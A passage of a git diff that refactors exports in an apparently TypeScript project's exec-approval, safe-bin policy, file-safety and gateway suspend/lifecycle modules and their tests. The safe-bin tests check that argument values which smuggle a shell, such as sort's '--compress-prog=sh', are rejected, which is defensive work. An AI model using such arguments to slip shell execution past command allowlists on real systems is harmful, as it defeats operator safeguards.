b/src/infra/exec-authorization-render.ts @@ -6,11 +6,9 @@ import type { ExecAuthorizationPlan, } from "./exec-authorization-plan.js"; -export type AuthorizedShellRenderMode = "safeBins" | "enforced"; +type AuthorizedShellRenderMode = "safeBins" | "enforced"; -export type AuthorizedShellRenderResult = - | { ok: true; command: string } - | { ok: false; reason: string }; +type AuthorizedShellRenderResult = { ok: true; command: string } | { ok: false; reason: string }; type SourceReplacement = { startIndex: number; diff --git a/src/infra/exec-control-command-guard.ts b/src/infra/exec-control-command-guard.ts index 2038de736e7f..74caffa7ee0a 100644 --- a/src/infra/exec-control-command-guard.ts +++ b/src/infra/exec-control-command-guard.ts @@ -10,7 +10,7 @@ type ParsedExecApprovalCommand = { decision: "allow-once" | "allow-always" | "deny"; }; -export type UnsafeExecControlShellCommandKind = "approve" | "channel-login"; +type UnsafeExecControlShellCommandKind = "approve" | "channel-login"; function parseExecApprovalShellCommand(raw: string): ParsedExecApprovalCommand | null { const normalized = raw.trimStart(); diff --git a/src/infra/exec-policy.ts b/src/infra/exec-policy.ts index cbadafb3e65e..4735fd0f4da5 100644 --- a/src/infra/exec-policy.ts +++ b/src/infra/exec-policy.ts @@ -1,7 +1,7 @@ import type { ExecAsk, ExecMode, ExecSecurity } from "./exec-approvals.js"; import { resolveExecPolicyForMode } from "./exec-approvals.js"; -export type ExecPolicyLayer = { +type ExecPolicyLayer = { mode?: ExecMode; security?: ExecSecurity; ask?: ExecAsk; diff --git a/src/infra/exec-safe-bin-policy-profiles.ts b/src/infra/exec-safe-bin-policy-profiles.ts index abf164f162bc..cf975add3539 100644 --- a/src/infra/exec-safe-bin-policy-profiles.ts +++ b/src/infra/exec-safe-bin-policy-profiles.ts @@ -1,8 +1,5 @@ -import { expectDefined } from "@openclaw/normalization-core"; // Defines safe-bin policy profile fixtures and metadata. import { normalizeLowercaseStringOrEmpty } from "@openclaw/normalization-core/string-coerce"; -import { sortUniqueStrings } from "@openclaw/normalization-core/string-normalization"; - export type SafeBinProfile = { minPositional?: number; maxPositional?: number; @@ -111,7 +108,7 @@ function compileSafeBinProfiles( ) as Record; } -export const SAFE_BIN_PROFILE_FIXTURES: Record = { +const SAFE_BIN_PROFILE_FIXTURES: Record = { jq: { maxPositional: 1, allowedValueFlags: ["--arg", "--argjson", "--argstr"], @@ -373,37 +370,3 @@ export function resolveSafeBinProfiles( ...compileSafeBinProfiles(normalizedFixtures), }; } - -function resolveSafeBinDeniedFlags( - fixtures: Readonly> = SAFE_BIN_PROFILE_FIXTURES, -): Record { - const out: Record = {}; - for (const [name, fixture] of Object.entries(fixtures)) { - const denied = sortUniqueStrings(fixture.deniedFlags ?? []); - if (denied.length > 0) { - out[name] = denied; - } - } - return out; -} - -export function renderSafeBinDeniedFlagsDocBullets( - fixtures: Readonly> = SAFE_BIN_PROFILE_FIXTURES, -): string { - const deniedByBin = resolveSafeBinDeniedFlags(fixtures); - const bins = Object.keys(deniedByBin).toSorted(); - return bins - .map( - (bin) => - `- \`${bin}\`: ${expectDefined(deniedByBin[bin], "denied by bin entry at bin") - .map((flag) => `\`${flag}\``) - .join(", ")}`, - ) - .join("\n"); -} - -export function renderDefaultSafeBinsDocText( - defaults: readonly string[] = DEFAULT_SAFE_BINS, -): string { - return defaults.map((bin) => `\`${bin}\``).join(", "); -} diff --git a/src/infra/exec-safe-bin-policy.test.ts b/src/infra/exec-safe-bin-policy.test.ts index 3fcd9b06f32b..471536cc4c8f 100644 --- a/src/infra/exec-safe-bin-policy.test.ts +++ b/src/infra/exec-safe-bin-policy.test.ts @@ -5,13 +5,8 @@ import { expectDefined } from "@openclaw/normalization-core"; import { describe, expect, it } from "vitest"; import { DEFAULT_SAFE_BINS, - SAFE_BIN_PROFILE_FIXTURES, SAFE_BIN_PROFILES, - buildLongFlagPrefixMap, - collectKnownLongFlags, normalizeSafeBinProfileFixtures, - renderDefaultSafeBinsDocText, - renderSafeBinDeniedFlagsDocBullets, resolveSafeBinProfiles, type SafeBinProfileFixtures, validateSafeBinArgv, @@ -23,38 +18,21 @@ const SAFE_BIN_DOC_DENIED_FLAGS_START = '[//]: # "SAFE_BIN_DENIED_FLAGS:START"'; const SAFE_BIN_DOC_DENIED_FLAGS_END = '[//]: # "SAFE_BIN_DENIED_FLAGS:END"'; const SAFE_BIN_DOC_PATH = "docs/tools/exec-approvals-advanced.md"; -function normalizeGeneratedDocBlock(block: string): string { - const lines = block.split("\n"); - while (lines[0]?.trim() === "") { - lines.shift(); - } - while (lines.at(-1)?.trim() === "") { - lines.pop(); - } - let commonIndent = Infinity; - for (const line of lines) { - if (line.trim().length === 0) { - continue; - } - commonIndent = Math.min(commonIndent, line.match(/^ */)?.[0].length ?? 0); - } - if (commonIndent <= 0) { - return lines.join("\n"); - } - const normalizedLines: string[] = []; - for (const line of lines) { - normalizedLines.push(line.slice(Math.min(line.length, commonIndent))); - } - return normalizedLines.join("\n"); +function readGeneratedDocBlock(startMarker: string, endMarker: string): string { + const docs = fs.readFileSync(path.resolve(process.cwd(), SAFE_BIN_DOC_PATH), "utf8"); + const start = docs.indexOf(startMarker); + const end = docs.indexOf(endMarker); + expect(start).toBeGreaterThanOrEqual(0); + expect(end).toBeGreaterThan(start); + return docs.slice(start + startMarker.length, end).trim(); } function buildDeniedFlagArgvVariants(flag: string): string[][] { - const value = "blocked"; if (flag.startsWith("--")) { - return [[`${flag}=${value}`], [flag, value], [flag]]; + return [[`${flag}=blocked`], [flag, "blocked"], [flag]]; } if (flag.startsWith("-")) { - return [[`${flag}${value}`], [flag, value], [flag]]; + return [[`${flag}blocked`], [flag, "blocked"], [flag]]; } return [[flag]]; } @@ -321,34 +299,14 @@ describe("exec safe bin policy long-option metadata", () => { expect(validateSafeBinArgv(["--compress-prog=sh"], withoutMetadata)).toBe(false); expect(validateSafeBinArgv(["--totally-unknown=1"], withoutMetadata)).toBe(false); }); - - it("builds prefix maps from collected long flags", () => { - const sortProfile = expectDefined( - SAFE_BIN_PROFILES.sort, - "SAFE_BIN_PROFILES.sort test invariant", - ); - const flags = collectKnownLongFlags( - sortProfile.allowedValueFlags ?? new Set(), - sortProfile.deniedFlags ?? new Set(), - ); - const prefixMap = buildLongFlagPrefixMap(flags); - expect(prefixMap.get("--compress-pr")).toBe("--compress-program"); - expect(prefixMap.get("--f")).toBe(null); - }); }); describe("exec safe bin policy denied-flag matrix", () => { - for (const [binName, fixture] of Object.entries(SAFE_BIN_PROFILE_FIXTURES)) { - const profile = expectDefined( - SAFE_BIN_PROFILES[binName], - "SAFE_BIN_PROFILES[binName] test invariant", - ); - const deniedFlags = fixture.deniedFlags ?? []; - for (const deniedFlag of deniedFlags) { - const variants = buildDeniedFlagArgvVariants(deniedFlag); - for (const variant of variants) { + for (const [binName, profile] of Object.entries(SAFE_BIN_PROFILES)) { + for (const deniedFlag of profile.deniedFlags ?? []) { + for (const variant of buildDeniedFlagArgvVariants(deniedFlag)) { it(`${binName} denies ${deniedFlag} (${variant.join(" ")})`, () => { - expect(validateSafeBinArgv(variant, profile)).toBe(false); + expect(validateSafeBinArgv(variant, profile, { binName })).toBe(false); }); } } @@ -357,28 +315,25 @@ describe("exec safe bin policy denied-flag matrix", () => { describe("exec safe bin policy docs parity", () => { it("keeps default safe-bin docs in sync with policy defaults", () => { - const docsPath = path.resolve(process.cwd(), SAFE_BIN_DOC_PATH); - const docs = fs.readFileSync(docsPath, "utf8").replaceAll("\r\n", "\n"); - const start = docs.indexOf(SAFE_BIN_DOC_DEFAULTS_START); - const end = docs.indexOf(SAFE_BIN_DOC_DEFAULTS_END); - expect(start).toBeGreaterThanOrEqual(0); - expect(end).toBeGreaterThan(start); - const actual = docs.slice(start + SAFE_BIN_DOC_DEFAULTS_START.length, end).trim(); - const expected = renderDefaultSafeBinsDocText(DEFAULT_SAFE_BINS); + const actual = readGeneratedDocBlock(SAFE_BIN_DOC_DEFAULTS_START, SAFE_BIN_DOC_DEFAULTS_END); + const expected = DEFAULT_SAFE_BINS.map((bin) => `\`${bin}\``).join(", "); expect(actual).toBe(expected); }); - it("keeps denied-flag docs in sync with policy fixtures", () => { - const docsPath = path.resolve(process.cwd(), SAFE_BIN_DOC_PATH); - const docs = fs.readFileSync(docsPath, "utf8").replaceAll("\r\n", "\n"); - const start = docs.indexOf(SAFE_BIN_DOC_DENIED_FLAGS_START); - const end = docs.indexOf(SAFE_BIN_DOC_DENIED_FLAGS_END); - expect(start).toBeGreaterThanOrEqual(0); - expect(end).toBeGreaterThan(start); - const actual = normalizeGeneratedDocBlock( - docs.slice(start + SAFE_BIN_DOC_DENIED_FLAGS_START.length, end), + it("keeps denied-flag docs in sync with compiled policy profiles", () => { + const actual = readGeneratedDocBlock( + SAFE_BIN_DOC_DENIED_FLAGS_START, + SAFE_BIN_DOC_DENIED_FLAGS_END, ); - const expected = renderSafeBinDeniedFlagsDocBullets(); + const expected = Object.entries(SAFE_BIN_PROFILES) + .flatMap(([bin, profile]) => { + const deniedFlags = Array.from(profile.deniedFlags ?? []).toSorted(); + return deniedFlags.length === 0 + ? [] + : [`- \`${bin}\`: ${deniedFlags.map((flag) => `\`${flag}\``).join(", ")}`]; + }) + .toSorted() + .join("\n"); expect(actual).toBe(expected); }); }); diff --git a/src/infra/exec-safe-bin-policy.ts b/src/infra/exec-safe-bin-policy.ts index 573ef8cb790e..6f94c242f19a 100644 --- a/src/infra/exec-safe-bin-policy.ts +++ b/src/infra/exec-safe-bin-policy.ts @@ -2,13 +2,8 @@ // modules, while callers import the stable aggregate surface from here. export { DEFAULT_SAFE_BINS, - SAFE_BIN_PROFILE_FIXTURES, SAFE_BIN_PROFILES, - buildLongFlagPrefixMap, - collectKnownLongFlags, normalizeSafeBinProfileFixtures, - renderDefaultSafeBinsDocText, - renderSafeBinDeniedFlagsDocBullets, resolveSafeBinProfiles, type SafeBinProfile, type SafeBinProfileFixture, diff --git a/src/infra/exec-wrapper-resolution.test.ts b/src/infra/exec-wrapper-resolution.test.ts index 57c27cf96773..2e85160a2d13 100644 --- a/src/infra/exec-wrapper-resolution.test.ts +++ b/src/infra/exec-wrapper-resolution.test.ts @@ -1,21 +1,22 @@ // Tests execution wrapper resolution for shell commands. import { describe, expect, test } from "vitest"; +import { unwrapEnvInvocation } from "./command-carriers.js"; +import { + isDispatchWrapperExecutable, + resolveDispatchWrapperTrustPlan, +} from "./dispatch-wrapper-resolution.js"; import { - basenameLower, extractEnvAssignmentKeysFromDispatchWrappers, extractShellWrapperCommand, - extractShellWrapperInlineCommand, hasEnvManipulationBeforeShellWrapper, - isDispatchWrapperExecutable, isShellWrapperExecutable, isShellWrapperInvocation, normalizeExecutableToken, - resolveDispatchWrapperTrustPlan, resolveShellWrapperTransportArgv, - unwrapEnvInvocation, unwrapKnownDispatchWrapperInvocation, unwrapKnownShellMultiplexerInvocation, } from "./exec-wrapper-resolution.js"; +import { extractShellWrapperInlineCommand } from "./shell-wrapper-resolution.js"; function supportsScriptPositionalCommandForTests(): boolean { return process.platform === "darwin" || process.platform === "freebsd"; @@ -39,16 +40,6 @@ function expectTransparentDispatchWrapperCase(params: { }); } -describe("basenameLower", () => { - test.each([ - { token: " Bun.CMD ", expected: "bun.cmd" }, - { token: "C:\\tools\\PwSh.EXE", expected: "pwsh.exe" }, - { token: "/tmp/bash", expected: "bash" }, - ])("normalizes basenames for %j", ({ token, expected }) => { - expect(basenameLower(token)).toBe(expected); - }); -}); - describe("normalizeExecutableToken", () => { test.each([ { token: "bun.cmd", expected: "bun" }, diff --git a/src/infra/exec-wrapper-resolution.ts b/src/infra/exec-wrapper-resolution.ts index 7a24ea8f3129..472855b73c68 100644 --- a/src/infra/exec-wrapper-resolution.ts +++ b/src/infra/exec-wrapper-resolution.ts @@ -1,18 +1,14 @@ // Wrapper resolution facade for executable tokens, dispatch wrappers, and shell // multiplexers used by exec approval policy. -export { basenameLower, normalizeExecutableToken } from "./exec-wrapper-tokens.js"; +export { normalizeExecutableToken } from "./exec-wrapper-tokens.js"; export { extractEnvAssignmentKeysFromDispatchWrappers, - isDispatchWrapperExecutable, - resolveDispatchWrapperTrustPlan, unwrapDispatchWrappersForResolution, - unwrapEnvInvocation, unwrapKnownDispatchWrapperInvocation, } from "./dispatch-wrapper-resolution.js"; export { extractBindableShellWrapperInlineCommand, extractShellWrapperCommand, - extractShellWrapperInlineCommand, hasEnvManipulationBeforeShellWrapper, isBlockedShellWrapperCommand, isShellWrapperExecutable, diff --git a/src/infra/exec-wrapper-tokens.ts b/src/infra/exec-wrapper-tokens.ts index c6f3412b08ee..f152ea8fc293 100644 --- a/src/infra/exec-wrapper-tokens.ts +++ b/src/infra/exec-wrapper-tokens.ts @@ -14,7 +14,7 @@ function stripWindowsExecutableSuffix(value: string): string { } /** Return a lowercase basename using the shorter POSIX/Windows interpretation. */ -export function basenameLower(token: string): string { +function basenameLower(token: string): string { const win = path.win32.basename(token); const posix = path.posix.basename(token); const base = win.length < posix.length ? win : posix; diff --git a/src/infra/executable-path.test.ts b/src/infra/executable-path.test.ts index c197e79b8cd4..59d866ddf513 100644 --- a/src/infra/executable-path.test.ts +++ b/src/infra/executable-path.test.ts @@ -5,7 +5,6 @@ import { afterEach, describe, expect, it, vi } from "vitest"; import { withTempDir } from "../test-helpers/temp-dir.js"; import { withMockedPlatform } from "../test-utils/vitest-spies.js"; import { - isExecutableFile, isRegularFile, resolveExecutable, resolveExecutableFromPathEnv, @@ -22,7 +21,7 @@ function restoreEnvValue(name: string, value: string | undefined): void { } describe("executable path helpers", () => { - it("detects executable files and rejects directories or non-executables", async () => { + it("detects regular files and rejects directories", async () => { await withTempDir({ prefix: "openclaw-exec-path-" }, async (base) => { const execPath = path.join(base, "tool"); const filePath = path.join(base, "plain.txt"); @@ -32,13 +31,10 @@ describe("executable path helpers", () => { await fs.writeFile(filePath, "nope", "utf8"); await fs.mkdir(dirPath); - expect(isExecutableFile(execPath)).toBe(true); expect(isRegularFile(execPath)).toBe(true); - expect(isExecutableFile(filePath)).toBe(false); expect(isRegularFile(filePath)).toBe(true); - expect(isExecutableFile(dirPath)).toBe(false); expect(isRegularFile(dirPath)).toBe(false); - expect(isExecutableFile(path.join(base, "missing"))).toBe(false); + expect(isRegularFile(path.join(base, "missing"))).toBe(false); }); }); @@ -222,47 +218,6 @@ describe("resolveExecutable", () => { }); describe("caller env PATHEXT propagation", () => { - // These tests verify that isExecutableFile and its callers use the - // caller-provided env.PATHEXT (not just process.env.PATHEXT) on Windows. - // Regression for: isExecutableFile hardcoded undefined -> ignore caller env. - - it("isExecutableFile respects caller env.PATHEXT on Windows", async () => { - const orig = process.env.PATHEXT; - process.env.PATHEXT = ".TXT"; - try { - await withTempDir({ prefix: "openclaw-exec-path-" }, async (base) => { - const ps1File = path.join(base, "script.ps1"); - await fs.writeFile(ps1File, 'Write-Output "ok"\n', "utf8"); - - // On Windows with only .PS1 in caller env, isExecutableFile should accept it - withMockedPlatform("win32", () => { - expect(isExecutableFile(ps1File, { env: { PATHEXT: ".PS1" } })).toBe(true); - }); - }); - } finally { - restoreEnvValue("PATHEXT", orig); - } - }); - - it("isExecutableFile fallback to process.env when no caller env is given", async () => { - await withTempDir({ prefix: "openclaw-exec-path-" }, async (base) => { - const ps1File = path.join(base, "script.ps1"); - await fs.writeFile(ps1File, 'Write-Output "ok"\n', "utf8"); - - // Save current process.env.PATHEXT, set it to empty so no extension matches - const orig = process.env.PATHEXT; - process.env.PATHEXT = ".TXT"; - try { - withMockedPlatform("win32", () => { - // .PS1 not in process.env.PATHEXT (which is .TXT) - expect(isExecutableFile(ps1File)).toBe(false); - }); - } finally { - restoreEnvValue("PATHEXT", orig); - } - }); - }); - it("resolveExecutableFromPathEnv uses caller env PATHEXT on Windows", async () => { const orig = process.env.PATHEXT; process.env.PATHEXT = ".TXT"; diff --git a/src/infra/executable-path.ts b/src/infra/executable-path.ts index 1d537542b53a..dc67062e311d 100644 --- a/src/infra/executable-path.ts +++ b/src/infra/executable-path.ts @@ -92,7 +92,7 @@ export function isRegularFile(filePath: string): boolean { } } -export function isExecutableFile(filePath: string, options?: { env?: NodeJS.ProcessEnv }): boolean { +function isExecutableFile(filePath: string, options?: { env?: NodeJS.ProcessEnv }): boolean { if (!isRegularFile(filePath)) { return false; } diff --git a/src/infra/file-identity.test.ts b/src/infra/file-identity.test.ts index 8420c9831467..62cb5e0a656d 100644 --- a/src/infra/file-identity.test.ts +++ b/src/infra/file-identity.test.ts @@ -1,6 +1,8 @@ // Covers file identity comparison across platform stat shapes. import { describe, expect, it } from "vitest"; -import { sameFileIdentity, type FileIdentityStat } from "./fs-safe-advanced.js"; +import { sameFileIdentity } from "./fs-safe-advanced.js"; + +type FileIdentityStat = Parameters[0]; function stat(dev: number | bigint, ino: number | bigint): FileIdentityStat { return { dev, ino }; diff --git a/src/infra/file-store.ts b/src/infra/file-store.ts index ab35ff751e93..2220736e410a 100644 --- a/src/infra/file-store.ts +++ b/src/infra/file-store.ts @@ -3,4 +3,4 @@ import "./fs-safe-defaults.js"; // Safe file-store facade. Callers get the repo default fs-safe configuration // before constructing root-scoped stores. -export { fileStore, type FileStore } from "@openclaw/fs-safe/store"; +export { fileStore } from "@openclaw/fs-safe/store"; diff --git a/src/infra/fs-safe-advanced.ts b/src/infra/fs-safe-advanced.ts index 121deb44a62f..e322ca5a5637 100644 --- a/src/infra/fs-safe-advanced.ts +++ b/src/infra/fs-safe-advanced.ts @@ -3,13 +3,10 @@ import "./fs-safe-defaults.js"; // Advanced fs-safe helpers for symlink, hardlink, and sibling-temp protections. export { - assertNoHardlinkedFinalPath, assertNoSymlinkParents, assertNoSymlinkParentsSync, sameFileIdentity, sanitizeUntrustedFileName, - writeSiblingTempFile, writeViaSiblingTempPath, type AssertNoSymlinkParentsOptions, - type FileIdentityStat, } from "@openclaw/fs-safe/advanced"; diff --git a/src/infra/gateway-active-work.ts b/src/infra/gateway-active-work.ts index 14e4c4f85509..37ef2c814cbc 100644 --- a/src/infra/gateway-active-work.ts +++ b/src/infra/gateway-active-work.ts @@ -16,7 +16,7 @@ import { formatActiveTaskRestartBlocker, } from "../tasks/task-restart-blocker.js"; -export type GatewayActiveWorkCounts = { +type GatewayActiveWorkCounts = { queueSize: number; pendingReplies: number; embeddedRuns: number; diff --git a/src/infra/gateway-boot-lifecycle.test.ts b/src/infra/gateway-boot-lifecycle.test.ts index d705d08cc8b3..a26bcc4e2e02 100644 --- a/src/infra/gateway-boot-lifecycle.test.ts +++ b/src/infra/gateway-boot-lifecycle.test.ts @@ -9,19 +9,20 @@ import { openOpenClawStateDatabase, } from "../state/openclaw-state-db.js"; import { - GATEWAY_BOOT_LIFECYCLE_RETENTION_MS, - GATEWAY_BOOT_LOOP_UNCLEAN_THRESHOLD, - GATEWAY_BOOT_LOOP_WINDOW_MS, GATEWAY_CRASH_LOOP_BREAKER_REASON, GATEWAY_CRASH_LOOP_RECOVERED_REASON, completeGatewayBootLifecycle, inspectGatewayCrashLoopBreaker, recordGatewayBootStart, - type GatewayBootLifecycleOutcome, } from "./gateway-boot-lifecycle.js"; import { executeSqliteQuerySync, getNodeSqliteKysely } from "./kysely-sync.js"; type GatewayBootLifecycleTestDatabase = Pick; +type GatewayBootLifecycleOutcome = Parameters[1]["outcome"]; + +const GATEWAY_BOOT_LOOP_UNCLEAN_THRESHOLD = 3; +const GATEWAY_BOOT_LOOP_WINDOW_MS = 5 * 60_000; +const GATEWAY_BOOT_LIFECYCLE_RETENTION_MS = 24 * 60 * 60_000; afterEach(() => { closeOpenClawStateDatabaseForTest(); diff --git a/src/infra/gateway-boot-lifecycle.ts b/src/infra/gateway-boot-lifecycle.ts index 1e8c5fab33db..0a99d704f893 100644 --- a/src/infra/gateway-boot-lifecycle.ts +++ b/src/infra/gateway-boot-lifecycle.ts @@ -15,11 +15,11 @@ import { // Supervisors usually restart immediately. Three unclean boots in this window // means the gateway should come up without auto-start sidecars so operators // can inspect a stable process instead of a flap. -export const GATEWAY_BOOT_LOOP_UNCLEAN_THRESHOLD = 3; -export const GATEWAY_BOOT_LOOP_WINDOW_MS = 5 * 60_000; +const GATEWAY_BOOT_LOOP_UNCLEAN_THRESHOLD = 3; +const GATEWAY_BOOT_LOOP_WINDOW_MS = 5 * 60_000; // Keep enough history for operator forensics while bounding one-row-per-boot // growth. Retention must comfortably exceed GATEWAY_BOOT_LOOP_WINDOW_MS. -export const GATEWAY_BOOT_LIFECYCLE_RETENTION_MS = 24 * 60 * 60_000; +const GATEWAY_BOOT_LIFECYCLE_RETENTION_MS = 24 * 60 * 60_000; export const GATEWAY_CRASH_LOOP_BREAKER_REASON = "gateway.crash_loop_breaker"; export const GATEWAY_CRASH_LOOP_RECOVERED_REASON = "gateway.crash_loop_recovered"; @@ -27,7 +27,7 @@ const gatewayLifecycleLog = createSubsystemLogger("gateway/lifecycle"); type GatewayBootLifecycleDatabase = Pick; -export type GatewayBootLifecycleOutcome = +type GatewayBootLifecycleOutcome = | "clean_stop" | "planned_restart" | "startup_failed" diff --git a/src/infra/gateway-lock.test.ts b/src/infra/gateway-lock.test.ts index 11f0e48728dc..01cf131116d8 100644 --- a/src/infra/gateway-lock.test.ts +++ b/src/infra/gateway-lock.test.ts @@ -9,14 +9,10 @@ import { setTimeout as nativeSleep } from "node:timers/promises"; import { afterAll, afterEach, beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; import { resolveConfigPath, resolveStateDir } from "../config/paths.js"; import { createSuiteTempRootTracker } from "../test-helpers/temp-dir.js"; -import { - acquireGatewayLock, - GatewayLockError, - readActiveGatewayLockPort, - type GatewayLockOptions, -} from "./gateway-lock.js"; +import { acquireGatewayLock, GatewayLockError, readActiveGatewayLockPort } from "./gateway-lock.js"; type GatewayLock = NonNullable>>; +type GatewayLockOptions = NonNullable[0]>; const fixtureRootTracker = createSuiteTempRootTracker({ prefix: "openclaw-gateway-lock-" }); let fixtureRoot = ""; diff --git a/src/infra/gateway-suspend-coordinator.test.ts b/src/infra/gateway-suspend-coordinator.test.ts index b19aeb3f9ed9..69af388fa948 100644 --- a/src/infra/gateway-suspend-coordinator.test.ts +++ b/src/infra/gateway-suspend-coordinator.test.ts @@ -16,15 +16,15 @@ import { } from "../process/gateway-work-admission.js"; import type { GatewayActiveWorkInspectors } from "./gateway-active-work.js"; import { - GATEWAY_SUSPEND_RETRY_AFTER_MS, - GATEWAY_SUSPEND_TTL_MS, getGatewaySuspendStatus, prepareGatewaySuspend, resetGatewaySuspendCoordinatorForLifecycleRestart, - resetGatewaySuspendCoordinatorForTest, resumeGatewaySuspend, } from "./gateway-suspend-coordinator.js"; +const SUSPEND_TTL_MS = 2 * 60_000; +const SUSPEND_RETRY_AFTER_MS = 20_000; + function inspectors( overrides: Partial = {}, ): GatewayActiveWorkInspectors { @@ -49,13 +49,13 @@ function inspectors( beforeEach(() => { resetProcessRegistryForTests(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); }); afterEach(() => { resetProcessRegistryForTests(); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); }); @@ -90,14 +90,14 @@ describe("gateway suspend coordinator", () => { }); expect( prepareGatewaySuspend({ - requestId: "request-test-reset", + requestId: "request-lifecycle-reset", pauseScheduling: vi.fn(), resumeScheduling, inspect: inspectors(), }), ).toMatchObject({ status: "ready" }); - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetGatewayWorkAdmission(); expect(resumeScheduling).toHaveBeenCalledOnce(); @@ -135,17 +135,17 @@ describe("gateway suspend coordinator", () => { const inspect = inspectors({ getBackgroundExecSessions: getActiveBackgroundExecSessionCount, }); - const busy = prepareGatewaySuspend({ - requestId: "request-background-exec", - pauseScheduling: vi.fn(), - resumeScheduling: vi.fn(), - inspect, - }); - - expect(busy).toEqual({ + expect( + prepareGatewaySuspend({ + requestId: "request-background-exec", + pauseScheduling: vi.fn(), + resumeScheduling: vi.fn(), + inspect, + }), + ).toEqual({ status: "busy", reason: "active-work", - retryAfterMs: GATEWAY_SUSPEND_RETRY_AFTER_MS, + retryAfterMs: SUSPEND_RETRY_AFTER_MS, activeCount: 1, blockers: [ { @@ -286,36 +286,34 @@ describe("gateway suspend coordinator", () => { it("renews one ready lease and resumes only with the matching id", () => { const resumeScheduling = vi.fn(); - const first = prepareGatewaySuspend({ - requestId: "request-ready", - pauseScheduling: vi.fn(), - resumeScheduling, - inspect: inspectors(), - nowMs: () => 1_000, - createSuspensionId: () => "suspension-1", - }); - expect(first).toMatchObject({ + expect( + prepareGatewaySuspend({ + requestId: "request-ready", + pauseScheduling: vi.fn(), + resumeScheduling, + inspect: inspectors(), + nowMs: () => 1_000, + createSuspensionId: () => "suspension-1", + }), + ).toMatchObject({ status: "ready", suspensionId: "suspension-1", - expiresAtMs: 1_000 + GATEWAY_SUSPEND_TTL_MS, + expiresAtMs: 1_000 + SUSPEND_TTL_MS, }); expect(isGatewayWorkAdmissionClosed()).toBe(true); - expect(getGatewaySuspendStatus("suspension-1")).toEqual({ - status: "ready", - expiresAtMs: 1_000 + GATEWAY_SUSPEND_TTL_MS, - }); - const renewed = prepareGatewaySuspend({ - requestId: "request-ready", - pauseScheduling: vi.fn(), - resumeScheduling, - inspect: inspectors({ getQueueSize: () => 99 }), - nowMs: () => 2_000, - }); - expect(renewed).toMatchObject({ + expect( + prepareGatewaySuspend({ + requestId: "request-ready", + pauseScheduling: vi.fn(), + resumeScheduling, + inspect: inspectors({ getQueueSize: () => 99 }), + nowMs: () => 2_000, + }), + ).toMatchObject({ status: "ready", suspensionId: "suspension-1", - expiresAtMs: 2_000 + GATEWAY_SUSPEND_TTL_MS, + expiresAtMs: 2_000 + SUSPEND_TTL_MS, }); expect( prepareGatewaySuspend({ @@ -329,7 +327,6 @@ describe("gateway suspend coordinator", () => { ok: false, reason: "suspension-mismatch", }); - expect(isGatewayWorkAdmissionClosed()).toBe(true); expect(resumeGatewaySuspend("suspension-1")).toEqual({ ok: true, status: "running", @@ -337,11 +334,6 @@ describe("gateway suspend coordinator", () => { }); expect(resumeScheduling).toHaveBeenCalledOnce(); expect(isGatewayWorkAdmissionClosed()).toBe(false); - expect(resumeGatewaySuspend("suspension-1")).toEqual({ - ok: true, - status: "running", - resumed: false, - }); }); it("lets restart supersede a suspension without reopening its scheduler", () => { @@ -421,7 +413,7 @@ describe("gateway suspend coordinator", () => { createSuspensionId: () => "suspension-expiry", }); - vi.advanceTimersByTime(GATEWAY_SUSPEND_TTL_MS); + vi.advanceTimersByTime(SUSPEND_TTL_MS); expect(getGatewaySuspendStatus("suspension-expiry")).toEqual({ status: "running" }); expect(resumeScheduling).toHaveBeenCalledOnce(); @@ -448,7 +440,7 @@ describe("gateway suspend coordinator", () => { createSuspensionId: () => "suspension-expiry-recovery", }); - vi.advanceTimersByTime(GATEWAY_SUSPEND_TTL_MS); + vi.advanceTimersByTime(SUSPEND_TTL_MS); expect(getGatewaySuspendStatus("suspension-expiry-recovery")).toMatchObject({ status: "recovering", }); @@ -477,7 +469,7 @@ describe("gateway suspend coordinator", () => { createSuspensionId: () => "suspension-delayed-expiry", }); - nowMs += GATEWAY_SUSPEND_TTL_MS; + nowMs += SUSPEND_TTL_MS; expect(getGatewaySuspendStatus("suspension-delayed-expiry")).toEqual({ status: "running" }); expect(resumeScheduling).toHaveBeenCalledOnce(); diff --git a/src/infra/gateway-suspend-coordinator.ts b/src/infra/gateway-suspend-coordinator.ts index 5c37323a108d..4d6286ec559b 100644 --- a/src/infra/gateway-suspend-coordinator.ts +++ b/src/infra/gateway-suspend-coordinator.ts @@ -13,8 +13,8 @@ import { type GatewayActiveWorkSnapshot, } from "./gateway-active-work.js"; -export const GATEWAY_SUSPEND_TTL_MS = 2 * 60_000; -export const GATEWAY_SUSPEND_RETRY_AFTER_MS = 20_000; +const GATEWAY_SUSPEND_TTL_MS = 2 * 60_000; +const GATEWAY_SUSPEND_RETRY_AFTER_MS = 20_000; const GATEWAY_SCHEDULER_RECOVERY_RETRY_MS = 1_000; type GatewaySchedulerRecoveryResult = { @@ -23,17 +23,17 @@ type GatewaySchedulerRecoveryResult = { retryAfterMs: number; }; -export type GatewaySuspendPrepareResult = +type GatewaySuspendPrepareResult = | GatewaySuspendPrepareWireResult | { status: "conflict"; expiresAtMs: number } | GatewaySchedulerRecoveryResult; -export type GatewaySuspendStatusResult = +type GatewaySuspendStatusResult = | GatewaySuspendStatusWireResult | { status: "conflict"; expiresAtMs: number } | GatewaySchedulerRecoveryResult; -export type GatewaySuspendResumeResult = +type GatewaySuspendResumeResult = | GatewaySuspendResumeWireResult | { ok: false; reason: "suspension-mismatch" } | { ok: false; reason: "scheduler-resume-failed"; retryAfterMs: number }; @@ -405,7 +405,7 @@ export function resumeGatewaySuspend(suspensionId: string): GatewaySuspendResume }; } -function resetGatewaySuspendCoordinator(reason: "lifecycle" | "test"): void { +function resetGatewaySuspendCoordinator(): void { const current = COORDINATOR_STATE.current; const retired = COORDINATOR_STATE.retiredForLifecycleReset; COORDINATOR_STATE.current = null; @@ -419,7 +419,7 @@ function resetGatewaySuspendCoordinator(reason: "lifecycle" | "test"): void { try { entry.resumeScheduling(); } catch (err) { - entry.warn?.(`gateway scheduler resume failed during ${reason} reset: ${String(err)}`); + entry.warn?.(`gateway scheduler resume failed during lifecycle reset: ${String(err)}`); } entry.reopenAdmission(); } @@ -428,9 +428,5 @@ function resetGatewaySuspendCoordinator(reason: "lifecycle" | "test"): void { // An in-process restart rebuilds scheduler and admission ownership. Resume and // discard the old suspension first so paused work cannot leak across lifecycles. export function 